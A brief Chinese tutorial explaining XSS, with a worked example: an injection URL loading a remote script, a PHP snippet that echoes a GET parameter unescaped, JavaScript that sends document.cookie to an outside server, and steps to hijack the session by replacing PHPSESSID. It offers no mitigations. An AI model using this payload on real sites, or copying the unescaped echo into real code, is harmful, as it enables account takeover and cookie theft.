1.什么是xss攻击？
XSS攻击的全称是跨站脚本攻击，是Web应用程序中最常见到的攻击手段。跨站脚本攻击指的是攻击者在网页中嵌入恶意脚本程序，当用户打开该网页时，脚本程序便开始在客户端的浏览器上运行，便于获取cookie,用户名密码。
2.案例 （以下通过模拟说明，切勿用于非法用途否则后果自负）
通过xss攻击获取客户的cookie，并且直接登录他的账号。
首先通过get传参数注入js脚本例如
http://link.wlphp.com/?xss=%3Cscript%20src=%22https://www.wlphp.com/test/xss.js%22%3E%3C/script%3E
然后恰巧网站的业务代码里面有输出这个参数值到html里面的部分，比如如下代码。
<?php @isset($_GET['xss'])?$_SESSION['xss']=$_GET['xss']:"" ?>
<?php echo $_SESSION['xss']; ?>
查看源代码如下：
这样查看网页源代码的时候就会发现里面有一段script标签，黑客嵌入一个远程的自己的js，自己的js内容如下
var cookie=document.cookie;
$.post("http://appwarn.wlphp.com/api.php?str="+cookie,{},function (data){
console.log(data);
});
然后js里面获取客户的cookie然后通过ajax传走到自己的服务器。
黑客通过接受到的cookie就能登录他的账号了。
可以使用火狐浏览器更改phpsessionid对应的值即可
